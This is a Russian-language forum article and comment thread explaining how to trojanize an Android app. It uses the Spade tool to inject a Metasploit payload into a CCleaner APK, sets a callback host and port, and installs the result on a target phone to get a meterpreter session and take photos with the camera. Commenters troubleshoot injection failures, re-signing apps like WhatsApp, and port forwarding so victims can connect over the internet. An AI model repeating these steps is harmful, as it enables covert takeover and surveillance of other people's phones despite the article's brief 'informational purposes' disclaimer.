Статья Взлом Android-устройства

Привет! В этой публикации, я опишу действенный способ взлома телефона под управлением ОС Android. Он основывается на сшивании полезной нагрузки с APK файлом.

Для начала скачаем любую программу под Android ( я выбрал, для примера CCleaner) с сайта www.apk4fun.com, попробуем, для начала, на ней.

Затем скачиваем для нашей Kali Linux софт под названием Spade. Для этого пишем в терминале следующее:

git clone https://github.com/suraj-root/spade.git

После успешного выполнения команды, вводим следующее:

> ./spade.py /root/Desktop/ccleaner.apk (тут мы указываем программе, с каким файлом она должна работать)

После запуска указанной команды вас встретит меню, в котором необходимо будет выбрать тип пайлоада (я выбирал 3), затем она попросит вас указать адрес хоста, на который полезная нагрузка будет «стучаться» в попытке установить соединение. Так же необходимо будет ввести порт.

> lhost > 192.168.0.103

> lport > 4444

Запускаем процесс, который внедрит нашу полезную нагрузку в файл APK.

Видим привилегии, которые нам доступны:

Готовый файл сохраняется в директории /root/spade

На запрос этой настройки отвечаем утвердительно:

Теперь необходимо передать созданный файл нашему целевому устройству. Копируем его на телефон, устанавливая его по стандартной схеме. После запуска приложения, если все сделано, верно, то видим открывшуюся сессию meterpreter:

Попробуем осмотреться в системе:

Все работает, теперь можно испытать работу, к примеру, камеры:

webcam_snap

И эта команда срабатывает успешно:

На этом все, спасибо за внимание.

Данная статья опубликована исключительно в ознакомительных целях и не является руководством к действиям.
Ссылка на оригинал - http://www.hackingarticles.in/hack-android-phone-using-spade-apk-backdoor/

 

[fuzscore]

за статью спасибо , познавательно. Глаза от стольких мониторов не разбегаются?)

 

[Vander]

за статью спасибо , познавательно. Глаза от стольких мониторов не разбегаются?)

Я один прикрываю)

 

[z3RoTooL]

Наши с тобой темы часто перекликаются Чтоб не плодить одно и то же, я добавлю к твоему рассказу ещё одну софтину для этих целей. Написана на RUBY, скачать можно прям отсюда.
Ну и небольшой видео обзор к ней.
Работаем в команде )))

 

[Vander]

Наши с тобой темы часто перекликаются Чтоб не плодить одно и то же, я добавлю к твоему рассказу ещё одну софтину для этих целей. Написана на RUBY, скачать можно прям отсюда.
Ну и небольшой видео обзор к ней.

Ага, надо протестить на досуге

 

[z3RoTooL]

Ага, надо протестить на досуге

слушай, но вот с ватсаппом такое не канает.. ну то есть он ставится, работает, но не даёт зарегать телефон, потому что подпись цифровая не родная...

 

[Vander]

слушай, но вот с ватсаппом такое не канает.. ну то есть он ставится, работает, но не даёт зарегать телефон, потому что подпись цифровая не родная...

Ты про Ruby софтинку?

 

[z3RoTooL]

Ты про Ruby софтинку?

я вообще про этот метод, там же в конце надо подписывать файл

 

[Vander]

я вообще про этот метод, там же в конце надо подписывать файл

Понятно, а как его подписать? Я не пробовал с мессенджерами склеивать

 

[z3RoTooL]

ну эта софтина на руби сама подписывает, а если руками - вот ссылка

 

[Vander]

ну эта софтина на руби сама подписывает, а если руками - вот ссылка

Спасибо

 

[Knife]

По работе с ruby и подписями вот более подробный видос

 

[Vander]

Спасибо за инфо

 

[areez]

Господа, проблема возникла
на стадии пэйлода выдает такое и все тут
[*] Injecting payload...
mkdir: невозможно создать каталог «CCleaner_v1/smali/com/metasploit»: Нет такого файла или каталога
mkdir: невозможно создать каталог «CCleaner_v1/smali/com/metasploit/stage»: Нет такого файла или каталога
cp: указанная цель 'CCleaner_v1/smali/com/metasploit/stage/' не является каталогом
[-] [Errno 2] No such file or directory: 'CCleaner_v1/AndroidManifest.xml'
Пробовал разные апк, в пустую

 

[Vander]

Господа, проблема возникла
на стадии пэйлода выдает такое и все тут
[*] Injecting payload...
mkdir: невозможно создать каталог «CCleaner_v1/smali/com/metasploit»: Нет такого файла или каталога
mkdir: невозможно создать каталог «CCleaner_v1/smali/com/metasploit/stage»: Нет такого файла или каталога
cp: указанная цель 'CCleaner_v1/smali/com/metasploit/stage/' не является каталогом
[-] [Errno 2] No such file or directory: 'CCleaner_v1/AndroidManifest.xml'
Пробовал разные апк, в пустую

Привет, скриншот бы увидеть...

 

[areez]

Привет, скриншот бы увидеть...

Проблему решил ту, возникла следующая - не создается файл -final, то есть в консоли пишется, мол создан ....-final.apk
но в папке спейда пусто

 

[Сергей Попов]

Проблему решил

Опишите пожалуйста решение.

 

[MAdDog719]

я так понимаю что если указать внешний IP и на роутере настроить правило переадресации порта на машину с кали (ну как это было рассказано в статье по Veali и Office) тогда смартфрну не нужуно будет находиться с мной в одной сети(подключенными к одному роутеру)? Сессия будет открыта как только как только запустишь приложение на смартфоне.

 

[areez]

Опишите пожалуйста решение.

файл был дюже длинного названия, судя по всему, т.е. ccleaner_v1234... и тд , я попросту переименовал файл в ccleaner.apk и все

ПРоблема с отсутсвием ссleaner-final.apk АКТУальна!

 

[Vander]

я так понимаю что если указать внешний IP и на роутере настроить правило переадресации порта на машину с кали (ну как это было рассказано в статье по Veali и Office) тогда смартфрну не нужуно будет находиться с мной в одной сети(подключенными к одному роутеру)? Сессия будет открыта как только как только запустишь приложение на смартфоне.

По идее, должно работать. Но не проверял. Если проверите, отпишитесь потом, пожалуйста